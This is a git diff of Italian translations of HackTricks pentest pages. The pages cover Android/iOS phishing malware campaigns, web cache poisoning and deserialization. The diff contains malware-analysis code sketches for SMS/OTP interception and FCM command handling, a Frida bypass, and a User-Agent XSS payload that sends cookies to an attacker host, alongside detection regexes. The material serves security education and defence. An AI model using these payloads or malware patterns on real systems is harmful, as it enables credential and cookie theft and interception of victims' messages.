mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/macos-hardening/macos-red-teaming/macos-mdm/README.md',
This commit is contained in:
Translator
parent
bd345156f9
commit
1b27703fbf
@ -6,62 +6,62 @@
|
||||
> Questa pagina tratta delle tecniche utilizzate dagli attori delle minacce per distribuire **APK Android malevoli** e **profili di configurazione mobile iOS** attraverso il phishing (SEO, ingegneria sociale, negozi falsi, app di incontri, ecc.).
|
||||
> Il materiale è adattato dalla campagna SarangTrap esposta da Zimperium zLabs (2025) e da altre ricerche pubbliche.
|
||||
|
||||
## Flusso di Attacco
|
||||
## Attack Flow
|
||||
|
||||
1. **Infrastruttura SEO/Phishing**
|
||||
1. **SEO/Phishing Infrastructure**
|
||||
* Registrare dozzine di domini simili (incontri, condivisione cloud, servizio auto…).
|
||||
– Utilizzare parole chiave e emoji nella lingua locale nell'elemento `<title>` per posizionarsi su Google.
|
||||
– Ospitare *sia* le istruzioni di installazione Android (`.apk`) che iOS sulla stessa pagina di atterraggio.
|
||||
2. **Download Prima Fase**
|
||||
2. **First Stage Download**
|
||||
* Android: link diretto a un APK *non firmato* o “negozio di terze parti”.
|
||||
* iOS: `itms-services://` o link HTTPS semplice a un profilo **mobileconfig** malevolo (vedi sotto).
|
||||
3. **Ingegneria Sociale Post-installazione**
|
||||
3. **Post-install Social Engineering**
|
||||
* Al primo avvio, l'app chiede un **codice di invito / verifica** (illusione di accesso esclusivo).
|
||||
* Il codice è **POSTato su HTTP** al Command-and-Control (C2).
|
||||
* C2 risponde `{"success":true}` ➜ il malware continua.
|
||||
* L'analisi dinamica di Sandbox / AV che non invia un codice valido non vede **comportamenti malevoli** (evasione).
|
||||
4. **Abuso dei Permessi a Runtime** (Android)
|
||||
* I permessi pericolosi vengono richiesti **solo dopo una risposta positiva dal C2**:
|
||||
4. **Runtime Permission Abuse** (Android)
|
||||
* Le autorizzazioni pericolose vengono richieste **solo dopo una risposta positiva dal C2**:
|
||||
```xml
|
||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
|
||||
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
|
||||
<!-- Le versioni più vecchie richiedevano anche permessi SMS -->
|
||||
<!-- Le versioni più vecchie richiedevano anche autorizzazioni SMS -->
|
||||
```
|
||||
* Le varianti recenti **rimuovono `<uses-permission>` per SMS da `AndroidManifest.xml`** ma lasciano il percorso del codice Java/Kotlin che legge gli SMS tramite riflessione ⇒ abbassa il punteggio statico pur rimanendo funzionale su dispositivi che concedono il permesso tramite abuso di `AppOps` o obiettivi vecchi.
|
||||
5. **Interfaccia Facciata & Raccolta in Background**
|
||||
* Le varianti recenti **rimuovono `<uses-permission>` per SMS da `AndroidManifest.xml`** ma lasciano il percorso del codice Java/Kotlin che legge gli SMS tramite riflessione ⇒ abbassa il punteggio statico pur rimanendo funzionale su dispositivi che concedono l'autorizzazione tramite abuso di `AppOps` o obiettivi vecchi.
|
||||
5. **Facade UI & Background Collection**
|
||||
* L'app mostra viste innocue (visualizzatore SMS, selettore galleria) implementate localmente.
|
||||
* Nel frattempo, esfiltra:
|
||||
- IMEI / IMSI, numero di telefono
|
||||
- Dump completo di `ContactsContract` (array JSON)
|
||||
- JPEG/PNG da `/sdcard/DCIM` compressi con [Luban](https://github.com/Curzibn/Luban) per ridurre le dimensioni
|
||||
- Contenuto SMS opzionale (`content://sms`)
|
||||
I payload sono **compressi in batch** e inviati tramite `HTTP POST /upload.php`.
|
||||
6. **Tecnica di Consegna iOS**
|
||||
* Un singolo **profilo di configurazione mobile** può richiedere `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration`, ecc. per iscrivere il dispositivo in una supervisione simile a “MDM”.
|
||||
I payload sono **batch-zippati** e inviati tramite `HTTP POST /upload.php`.
|
||||
6. **iOS Delivery Technique**
|
||||
* Un singolo **profilo di configurazione mobile** può richiedere `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` ecc. per iscrivere il dispositivo in una supervisione simile a “MDM”.
|
||||
* Istruzioni di ingegneria sociale:
|
||||
1. Aprire Impostazioni ➜ *Profilo scaricato*.
|
||||
2. Toccare *Installa* tre volte (screenshot sulla pagina di phishing).
|
||||
3. Fidarsi del profilo non firmato ➜ l'attaccante ottiene i diritti su *Contatti* & *Foto* senza revisione dell'App Store.
|
||||
7. **Livello di Rete**
|
||||
3. Fidarsi del profilo non firmato ➜ l'attaccante ottiene i diritti su *Contatti* e *Foto* senza revisione dell'App Store.
|
||||
7. **Network Layer**
|
||||
* HTTP semplice, spesso sulla porta 80 con intestazione HOST come `api.<phishingdomain>.com`.
|
||||
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (no TLS → facile da individuare).
|
||||
|
||||
## Test Difensivi / Suggerimenti per il Red-Team
|
||||
## Defensive Testing / Red-Team Tips
|
||||
|
||||
* **Bypass Analisi Dinamica** – Durante la valutazione del malware, automatizzare la fase del codice di invito con Frida/Objection per raggiungere il ramo malevolo.
|
||||
* **Manifest vs. Diff a Runtime** – Confrontare `aapt dump permissions` con `PackageManager#getRequestedPermissions()` a runtime; la mancanza di permessi pericolosi è un campanello d'allarme.
|
||||
* **Canarino di Rete** – Configurare `iptables -p tcp --dport 80 -j NFQUEUE` per rilevare picchi di POST non solidi dopo l'inserimento del codice.
|
||||
* **Ispezione mobileconfig** – Utilizzare `security cms -D -i profile.mobileconfig` su macOS per elencare `PayloadContent` e individuare diritti eccessivi.
|
||||
* **Dynamic Analysis Bypass** – Durante la valutazione del malware, automatizzare la fase del codice di invito con Frida/Objection per raggiungere il ramo malevolo.
|
||||
* **Manifest vs. Runtime Diff** – Confrontare `aapt dump permissions` con `PackageManager#getRequestedPermissions()` a runtime; la mancanza di permessi pericolosi è un campanello d'allarme.
|
||||
* **Network Canary** – Configurare `iptables -p tcp --dport 80 -j NFQUEUE` per rilevare esplosioni di POST non solidi dopo l'inserimento del codice.
|
||||
* **mobileconfig Inspection** – Utilizzare `security cms -D -i profile.mobileconfig` su macOS per elencare `PayloadContent` e individuare diritti eccessivi.
|
||||
|
||||
## Idee di Rilevamento per il Blue-Team
|
||||
## Blue-Team Detection Ideas
|
||||
|
||||
* **Trasparenza dei Certificati / Analisi DNS** per catturare picchi improvvisi di domini ricchi di parole chiave.
|
||||
* **Regex User-Agent & Path**: `(?i)POST\s+/(check|upload)\.php` da client Dalvik al di fuori di Google Play.
|
||||
* **Telemetria Codice di Invito** – POST di codici numerici di 6–8 cifre poco dopo l'installazione dell'APK può indicare staging.
|
||||
* **Firma MobileConfig** – Bloccare profili di configurazione non firmati tramite politica MDM.
|
||||
* **Certificate Transparency / DNS Analytics** per catturare esplosioni improvvise di domini ricchi di parole chiave.
|
||||
* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` da client Dalvik al di fuori di Google Play.
|
||||
* **Invite-code Telemetry** – POST di codici numerici di 6–8 cifre poco dopo l'installazione dell'APK può indicare staging.
|
||||
* **MobileConfig Signing** – Bloccare profili di configurazione non firmati tramite politica MDM.
|
||||
|
||||
## Utili Frida Snippet: Auto-Bypass Codice di Invito
|
||||
## Useful Frida Snippet: Auto-Bypass Invitation Code
|
||||
```python
|
||||
# frida -U -f com.badapp.android -l bypass.js --no-pause
|
||||
# Hook HttpURLConnection write to always return success
|
||||
@ -86,9 +86,127 @@ return conn;
|
||||
/upload.php # batched ZIP exfiltration
|
||||
LubanCompress 1.1.8 # "Luban" string inside classes.dex
|
||||
```
|
||||
## Riferimenti
|
||||
---
|
||||
|
||||
## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern
|
||||
|
||||
Questo schema è stato osservato in campagne che abusano di temi legati ai benefici governativi per rubare credenziali UPI indiane e OTP. Gli operatori concatenano piattaforme affidabili per la consegna e la resilienza.
|
||||
|
||||
### Catena di consegna attraverso piattaforme fidate
|
||||
- Video di YouTube come esca → la descrizione contiene un link breve
|
||||
- Link breve → sito di phishing su GitHub Pages che imita il portale legittimo
|
||||
- Lo stesso repository GitHub ospita un APK con un falso badge “Google Play” che collega direttamente al file
|
||||
- Pagine di phishing dinamiche vivono su Replit; il canale di comando remoto utilizza Firebase Cloud Messaging (FCM)
|
||||
|
||||
### Dropper con payload incorporato e installazione offline
|
||||
- Il primo APK è un installer (dropper) che spedisce il vero malware a `assets/app.apk` e invita l'utente a disabilitare Wi‑Fi/dati mobili per ridurre il rilevamento nel cloud.
|
||||
- Il payload incorporato si installa sotto un'etichetta innocua (ad es., “Aggiornamento Sicuro”). Dopo l'installazione, sia l'installer che il payload sono presenti come app separate.
|
||||
|
||||
Suggerimento per la triage statica (grep per payload incorporati):
|
||||
```bash
|
||||
unzip -l sample.apk | grep -i "assets/app.apk"
|
||||
# Or:
|
||||
zipgrep -i "classes|.apk" sample.apk | head
|
||||
```
|
||||
### Scoperta dinamica degli endpoint tramite shortlink
|
||||
- Il malware recupera un elenco di endpoint attivi in formato testo semplice e separato da virgole da uno shortlink; semplici trasformazioni di stringa producono il percorso finale della pagina di phishing.
|
||||
|
||||
Esempio (sanitizzato):
|
||||
```
|
||||
GET https://rebrand.ly/dclinkto2
|
||||
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
|
||||
Transform: "gate.html" → "gate.htm" (loaded in WebView)
|
||||
UPI credential POST: https://sqcepo.replit.app/addup.php
|
||||
SMS upload: https://sqcepo.replit.app/addsm.php
|
||||
```
|
||||
Codice pseudo:
|
||||
```java
|
||||
String csv = httpGet(shortlink);
|
||||
String[] parts = csv.split(",");
|
||||
String upiPage = parts[0].replace("gate.html", "gate.htm");
|
||||
String smsPost = parts[1];
|
||||
String credsPost = upiPage.replace("gate.htm", "addup.php");
|
||||
```
|
||||
### Raccolta di credenziali UPI basata su WebView
|
||||
- Il passaggio “Effettua il pagamento di ₹1 / UPI‑Lite” carica un modulo HTML dell'attaccante dall'endpoint dinamico all'interno di un WebView e cattura campi sensibili (telefono, banca, PIN UPI) che vengono `POST`ati a `addup.php`.
|
||||
|
||||
Loader minimo:
|
||||
```java
|
||||
WebView wv = findViewById(R.id.web);
|
||||
wv.getSettings().setJavaScriptEnabled(true);
|
||||
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
|
||||
```
|
||||
### Auto-propagazione e intercettazione SMS/OTP
|
||||
- Vengono richieste autorizzazioni aggressive al primo avvio:
|
||||
```xml
|
||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||
<uses-permission android:name="android.permission.SEND_SMS"/>
|
||||
<uses-permission android:name="android.permission.READ_SMS"/>
|
||||
<uses-permission android:name="android.permission.CALL_PHONE"/>
|
||||
```
|
||||
- I contatti vengono utilizzati per inviare SMS smishing in massa dal dispositivo della vittima.
|
||||
- Gli SMS in arrivo vengono intercettati da un ricevitore di broadcast e caricati con metadati (mittente, corpo, slot SIM, ID casuale per dispositivo) su `/addsm.php`.
|
||||
|
||||
Ricevitore schizzo:
|
||||
```java
|
||||
public void onReceive(Context c, Intent i){
|
||||
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
|
||||
for (SmsMessage m: msgs){
|
||||
postForm(urlAddSms, new FormBody.Builder()
|
||||
.add("senderNum", m.getOriginatingAddress())
|
||||
.add("Message", m.getMessageBody())
|
||||
.add("Slot", String.valueOf(getSimSlot(i)))
|
||||
.add("Device rand", getOrMakeDeviceRand(c))
|
||||
.build());
|
||||
}
|
||||
}
|
||||
```
|
||||
### Firebase Cloud Messaging (FCM) come C2 resiliente
|
||||
- Il payload si registra a FCM; i messaggi push contengono un campo `_type` utilizzato come interruttore per attivare azioni (ad es., aggiornare i modelli di testo di phishing, attivare/disattivare comportamenti).
|
||||
|
||||
Esempio di payload FCM:
|
||||
```json
|
||||
{
|
||||
"to": "<device_fcm_token>",
|
||||
"data": {
|
||||
"_type": "update_texts",
|
||||
"template": "New subsidy message..."
|
||||
}
|
||||
}
|
||||
```
|
||||
Handler sketch:
|
||||
```java
|
||||
@Override
|
||||
public void onMessageReceived(RemoteMessage msg){
|
||||
String t = msg.getData().get("_type");
|
||||
switch (t){
|
||||
case "update_texts": applyTemplate(msg.getData().get("template")); break;
|
||||
case "smish": sendSmishToContacts(); break;
|
||||
// ... more remote actions
|
||||
}
|
||||
}
|
||||
```
|
||||
### Hunting patterns and IOCs
|
||||
- APK contiene un payload secondario in `assets/app.apk`
|
||||
- WebView carica il pagamento da `gate.htm` ed esfiltra a `/addup.php`
|
||||
- Esfiltrazione SMS a `/addsm.php`
|
||||
- Fetch della configurazione tramite shortlink (es., `rebrand.ly/*`) che restituisce endpoint CSV
|
||||
- App etichettate come generiche “Update/Secure Update”
|
||||
- Messaggi `data` FCM con un discriminatore `_type` in app non affidabili
|
||||
|
||||
### Detection & defence ideas
|
||||
- Segnala app che istruiscono gli utenti a disabilitare la rete durante l'installazione e poi caricano un secondo APK da `assets/`.
|
||||
- Allerta sulla tupla di permessi: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + flussi di pagamento basati su WebView.
|
||||
- Monitoraggio dell'uscita per `POST /addup.php|/addsm.php` su host non aziendali; blocca infrastrutture note.
|
||||
- Regole EDR mobili: app non affidabili che si registrano per FCM e si ramificano su un campo `_type`.
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
|
||||
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
|
||||
- [Luban – Android image compression library](https://github.com/Curzibn/Luban)
|
||||
- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
|
||||
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
File diff suppressed because one or more lines are too long
@ -6,8 +6,8 @@
|
||||
|
||||
> **Qual è la differenza tra web cache poisoning e web cache deception?**
|
||||
>
|
||||
> - Nel **web cache poisoning**, l'attaccante costringe l'applicazione a memorizzare contenuti dannosi nella cache, e questi contenuti vengono serviti dalla cache ad altri utenti dell'applicazione.
|
||||
> - Nel **web cache deception**, l'attaccante costringe l'applicazione a memorizzare contenuti sensibili appartenenti a un altro utente nella cache, e l'attaccante poi recupera questi contenuti dalla cache.
|
||||
> - Nel **web cache poisoning**, l'attaccante costringe l'applicazione a memorizzare contenuti dannosi nella cache, e questo contenuto viene servito dalla cache ad altri utenti dell'applicazione.
|
||||
> - Nella **web cache deception**, l'attaccante costringe l'applicazione a memorizzare contenuti sensibili appartenenti a un altro utente nella cache, e l'attaccante poi recupera questo contenuto dalla cache.
|
||||
|
||||
## Cache Poisoning
|
||||
|
||||
@ -107,7 +107,7 @@ cache-poisoning-via-url-discrepancies.md
|
||||
|
||||
### Cache poisoning with path traversal to steal API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
[**Questo writeup spiega**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) come sia stato possibile rubare una chiave API di OpenAI con un URL come `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` perché qualsiasi cosa che corrisponde a `/share/*` sarà memorizzata nella cache senza che Cloudflare normalizzi l'URL, cosa che è stata fatta quando la richiesta ha raggiunto il server web.
|
||||
[**Questo articolo spiega**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) come sia stato possibile rubare una chiave API di OpenAI con un URL come `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` perché qualsiasi cosa che corrisponde a `/share/*` sarà memorizzata nella cache senza che Cloudflare normalizzi l'URL, cosa che è stata fatta quando la richiesta ha raggiunto il server web.
|
||||
|
||||
Questo è spiegato meglio in:
|
||||
|
||||
@ -125,9 +125,9 @@ Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
|
||||
X-Forwarded-Scheme: http
|
||||
```
|
||||
### Sfruttare con un header `Vary` limitato
|
||||
### Sfruttare con un `Vary` header limitato
|
||||
|
||||
Se hai scoperto che l'header **`X-Host`** viene utilizzato come **nome di dominio per caricare una risorsa JS** ma l'header **`Vary`** nella risposta indica **`User-Agent`**. Allora, devi trovare un modo per esfiltrare l'User-Agent della vittima e avvelenare la cache utilizzando quel user agent:
|
||||
Se hai scoperto che l'**`X-Host`** header viene utilizzato come **nome di dominio per caricare una risorsa JS** ma l'**`Vary`** header nella risposta indica **`User-Agent`**. Allora, devi trovare un modo per esfiltrare l'User-Agent della vittima e avvelenare la cache utilizzando quel user agent:
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerbale.net
|
||||
@ -145,7 +145,7 @@ Content-Length: 22
|
||||
|
||||
report=innocent-victim
|
||||
```
|
||||
C'è un laboratorio di Portswigger su questo: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
|
||||
C'è un laboratorio di portswigger su questo: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
|
||||
|
||||
### Parameter Cloaking
|
||||
|
||||
@ -165,11 +165,11 @@ Esempio di utilizzo: `wcvs -u example.com`
|
||||
|
||||
### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
|
||||
|
||||
Questo schema del mondo reale combina un primitivo di riflessione basato su header con il comportamento di CDN/WAF per avvelenare in modo affidabile l'HTML memorizzato nella cache servito ad altri utenti:
|
||||
Questo modello del mondo reale combina un primitivo di riflessione basato su header con il comportamento di CDN/WAF per avvelenare in modo affidabile l'HTML memorizzato nella cache servito ad altri utenti:
|
||||
|
||||
- L'HTML principale rifletteva un header di richiesta non attendibile (ad es., `User-Agent`) in un contesto eseguibile.
|
||||
- Il CDN ha rimosso gli header di cache, ma esisteva una cache interna/origine. Il CDN ha anche memorizzato automaticamente le richieste che terminano in estensioni statiche (ad es., `.js`), mentre il WAF applicava un'ispezione dei contenuti più debole per le GET di asset statici.
|
||||
- Le peculiarità del flusso di richiesta hanno permesso a una richiesta a un percorso `.js` di influenzare la chiave/variante della cache utilizzata per l'HTML principale successivo, abilitando XSS cross-user tramite riflessione degli header.
|
||||
- Il CDN ha rimosso gli header di cache, ma esisteva una cache interna/origine. Il CDN ha anche memorizzato automaticamente le richieste che terminano in estensioni statiche (ad es., `.js`), mentre il WAF applicava un'ispezione del contenuto più debole per le GET di asset statici.
|
||||
- Le peculiarità del flusso di richiesta hanno permesso a una richiesta a un percorso `.js` di influenzare la chiave/variante della cache utilizzata per l'HTML principale successivo, abilitando XSS cross-user tramite riflessione dell'header.
|
||||
|
||||
Ricetta pratica (osservata su un popolare CDN/WAF):
|
||||
|
||||
@ -179,7 +179,7 @@ Ricetta pratica (osservata su un popolare CDN/WAF):
|
||||
- Immediatamente dopo: GET la pagina principale (`/`).
|
||||
3) La corsa di instradamento CDN/WAF più il `.js` memorizzato automaticamente spesso semina una variante HTML memorizzata nella cache avvelenata che viene poi servita ad altri visitatori che condividono le stesse condizioni della chiave di cache (ad es., le stesse dimensioni `Vary` come `User-Agent`).
|
||||
|
||||
Esempio di payload header (per esfiltrare cookie non HttpOnly):
|
||||
Esempio di payload dell'header (per esfiltrare cookie non HttpOnly):
|
||||
```
|
||||
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
|
||||
```
|
||||
@ -203,7 +203,7 @@ Defenses:
|
||||
|
||||
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
|
||||
|
||||
ATS ha inoltrato il frammento all'interno dell'URL senza rimuoverlo e ha generato la chiave di cache utilizzando solo l'host, il percorso e la query (ignorando il frammento). Quindi la richiesta `/#/../?r=javascript:alert(1)` è stata inviata al backend come `/#/../?r=javascript:alert(1)` e la chiave di cache non conteneva il payload, solo host, percorso e query.
|
||||
ATS ha inoltrato il frammento all'interno dell'URL senza rimuoverlo e ha generato la chiave di cache utilizzando solo l'host, il percorso e la query (ignorando il frammento). Quindi la richiesta `/#/../?r=javascript:alert(1)` è stata inviata al backend come `/#/../?r=javascript:alert(1)` e la chiave di cache non conteneva il payload al suo interno, solo host, percorso e query.
|
||||
|
||||
### GitHub CP-DoS
|
||||
|
||||
@ -217,7 +217,7 @@ GitLab utilizza i bucket GCP per memorizzare contenuti statici. **I bucket GCP**
|
||||
|
||||
Nelle applicazioni Ruby on Rails, il middleware Rack è spesso utilizzato. Lo scopo del codice Rack è prendere il valore dell'intestazione **`x-forwarded-scheme`** e impostarlo come schema della richiesta. Quando viene inviata l'intestazione `x-forwarded-scheme: http`, si verifica un reindirizzamento 301 alla stessa posizione, causando potenzialmente un Denial of Service (DoS) a quella risorsa. Inoltre, l'applicazione potrebbe riconoscere l'intestazione `X-forwarded-host` e reindirizzare gli utenti all'host specificato. Questo comportamento può portare al caricamento di file JavaScript dal server di un attaccante, ponendo un rischio per la sicurezza.
|
||||
|
||||
### 403 e Storage Buckets
|
||||
### 403 and Storage Buckets
|
||||
|
||||
Cloudflare in precedenza memorizzava nella cache le risposte 403. Tentare di accedere a S3 o Azure Storage Blobs con intestazioni di autorizzazione errate avrebbe comportato una risposta 403 che veniva memorizzata nella cache. Anche se Cloudflare ha smesso di memorizzare nella cache le risposte 403, questo comportamento potrebbe essere ancora presente in altri servizi proxy.
|
||||
|
||||
@ -231,7 +231,7 @@ Alcuni sviluppatori bloccano le richieste con user-agent che corrispondono a que
|
||||
|
||||
### Illegal Header Fields
|
||||
|
||||
Il [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifica i caratteri accettabili nei nomi delle intestazioni. Le intestazioni contenenti caratteri al di fuori dell'intervallo **tchar** specificato dovrebbero idealmente attivare una risposta 400 Bad Request. In pratica, i server non aderiscono sempre a questo standard. Un esempio notevole è Akamai, che inoltra intestazioni con caratteri non validi e memorizza nella cache qualsiasi errore 400, purché l'intestazione `cache-control` non sia presente. È stato identificato un modello sfruttabile in cui l'invio di un'intestazione con un carattere illegale, come `\`, avrebbe comportato un errore 400 Bad Request memorizzabile nella cache.
|
||||
Il [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifica i caratteri accettabili nei nomi delle intestazioni. Le intestazioni contenenti caratteri al di fuori dell'intervallo **tchar** specificato dovrebbero idealmente attivare una risposta 400 Bad Request. In pratica, i server non sempre aderiscono a questo standard. Un esempio notevole è Akamai, che inoltra intestazioni con caratteri non validi e memorizza nella cache qualsiasi errore 400, purché l'intestazione `cache-control` non sia presente. È stato identificato un modello sfruttabile in cui l'invio di un'intestazione con un carattere illegale, come `\`, avrebbe comportato un errore 400 Bad Request memorizzabile nella cache.
|
||||
|
||||
### Finding new headers
|
||||
|
||||
|
||||
@ -4,11 +4,11 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**La serializzazione** è intesa come il metodo di conversione di un oggetto in un formato che può essere preservato, con l'intento di memorizzare l'oggetto o trasmetterlo come parte di un processo di comunicazione. Questa tecnica è comunemente impiegata per garantire che l'oggetto possa essere ricreato in un secondo momento, mantenendo la sua struttura e stato.
|
||||
**Serialization** è intesa come il metodo di conversione di un oggetto in un formato che può essere preservato, con l'intento di memorizzare l'oggetto o trasmetterlo come parte di un processo di comunicazione. Questa tecnica è comunemente impiegata per garantire che l'oggetto possa essere ricreato in un secondo momento, mantenendo la sua struttura e stato.
|
||||
|
||||
**La deserializzazione**, al contrario, è il processo che contrasta la serializzazione. Comporta il prendere dati che sono stati strutturati in un formato specifico e ricostruirli nuovamente in un oggetto.
|
||||
**Deserialization**, al contrario, è il processo che contrasta la serializzazione. Comporta il prendere dati che sono stati strutturati in un formato specifico e ricostruirli nuovamente in un oggetto.
|
||||
|
||||
La deserializzazione può essere pericolosa perché **permette potenzialmente agli attaccanti di manipolare i dati serializzati per eseguire codice dannoso** o causare comportamenti imprevisti nell'applicazione durante il processo di ricostruzione dell'oggetto.
|
||||
La deserializzazione può essere pericolosa perché **consente potenzialmente agli attaccanti di manipolare i dati serializzati per eseguire codice dannoso** o causare comportamenti imprevisti nell'applicazione durante il processo di ricostruzione dell'oggetto.
|
||||
|
||||
## PHP
|
||||
|
||||
@ -16,7 +16,7 @@ In PHP, specifici metodi magici sono utilizzati durante i processi di serializza
|
||||
|
||||
- `__sleep`: Invocato quando un oggetto viene serializzato. Questo metodo dovrebbe restituire un array dei nomi di tutte le proprietà dell'oggetto che dovrebbero essere serializzate. È comunemente usato per impegnare dati in sospeso o eseguire compiti di pulizia simili.
|
||||
- `__wakeup`: Chiamato quando un oggetto viene deserializzato. Viene utilizzato per ristabilire eventuali connessioni al database che potrebbero essere state perse durante la serializzazione e per eseguire altri compiti di reinizializzazione.
|
||||
- `__unserialize`: Questo metodo viene chiamato invece di `__wakeup` (se esiste) quando un oggetto viene deserializzato. Fornisce un maggiore controllo sul processo di deserializzazione rispetto a `__wakeup`.
|
||||
- `__unserialize`: Questo metodo viene chiamato invece di `__wakeup` (se esiste) quando un oggetto viene deserializzato. Fornisce maggiore controllo sul processo di deserializzazione rispetto a `__wakeup`.
|
||||
- `__destruct`: Questo metodo viene chiamato quando un oggetto sta per essere distrutto o quando lo script termina. È tipicamente usato per compiti di pulizia, come la chiusura di handle di file o connessioni al database.
|
||||
- `__toString`: Questo metodo consente a un oggetto di essere trattato come una stringa. Può essere utilizzato per leggere un file o altri compiti basati sulle chiamate di funzione al suo interno, fornendo effettivamente una rappresentazione testuale dell'oggetto.
|
||||
```php
|
||||
@ -77,7 +77,7 @@ This is a test<br />
|
||||
Se guardi i risultati, puoi vedere che le funzioni **`__wakeup`** e **`__destruct`** vengono chiamate quando l'oggetto viene deserializzato. Nota che in diversi tutorial troverai che la funzione **`__toString`** viene chiamata quando si cerca di stampare un attributo, ma apparentemente **non sta più accadendo**.
|
||||
|
||||
> [!WARNING]
|
||||
> Il metodo **`__unserialize(array $data)`** viene chiamato **invece di `__wakeup()`** se è implementato nella classe. Ti consente di deserializzare l'oggetto fornendo i dati serializzati come un array. Puoi utilizzare questo metodo per deserializzare le proprietà e svolgere eventuali compiti necessari al momento della deserializzazione.
|
||||
> Il metodo **`__unserialize(array $data)`** viene chiamato **invece di `__wakeup()`** se è implementato nella classe. Ti consente di deserializzare l'oggetto fornendo i dati serializzati come array. Puoi utilizzare questo metodo per deserializzare le proprietà e svolgere eventuali compiti necessari al momento della deserializzazione.
|
||||
>
|
||||
> ```php
|
||||
> class MyClass {
|
||||
@ -90,7 +90,7 @@ Se guardi i risultati, puoi vedere che le funzioni **`__wakeup`** e **`__destruc
|
||||
> }
|
||||
> ```
|
||||
|
||||
Puoi leggere un esempio **PHP spiegato qui**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), qui [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) o qui [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||
Puoi leggere un **esempio PHP spiegato qui**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), qui [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) o qui [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||
|
||||
### PHP Deserial + Autoload Classes
|
||||
|
||||
@ -199,7 +199,7 @@ print(base64.b64encode(pickle.dumps(P())))
|
||||
```
|
||||
Prima di controllare la tecnica di bypass, prova a usare `print(base64.b64encode(pickle.dumps(P(),2)))` per generare un oggetto compatibile con python2 se stai eseguendo python3.
|
||||
|
||||
Per ulteriori informazioni su come evadere dalle **pickle jails** controlla:
|
||||
Per ulteriori informazioni su come evadere da **pickle jails** controlla:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||||
@ -368,7 +368,7 @@ Nelle pagine seguenti puoi trovare informazioni su come abusare di questa librer
|
||||
|
||||
## Java - HTTP
|
||||
|
||||
In Java, **i callback di deserializzazione vengono eseguiti durante il processo di deserializzazione**. Questa esecuzione può essere sfruttata da attaccanti che creano payload malevoli che attivano questi callback, portando a potenziali esecuzioni di azioni dannose.
|
||||
In Java, **i callback di deserializzazione vengono eseguiti durante il processo di deserializzazione**. Questa esecuzione può essere sfruttata da attaccanti che creano payload dannosi che attivano questi callback, portando a potenziali esecuzioni di azioni dannose.
|
||||
|
||||
### Impronte
|
||||
|
||||
@ -397,13 +397,13 @@ Per il testing black box, cerca specifiche **firme o "Magic Bytes"** che denotan
|
||||
- Intestazioni di risposta HTTP con `Content-type` impostato su `application/x-java-serialized-object`.
|
||||
- Modello esadecimale che indica una compressione precedente: `1F 8B 08 00`.
|
||||
- Modello Base64 che indica una compressione precedente: `H4sIA`.
|
||||
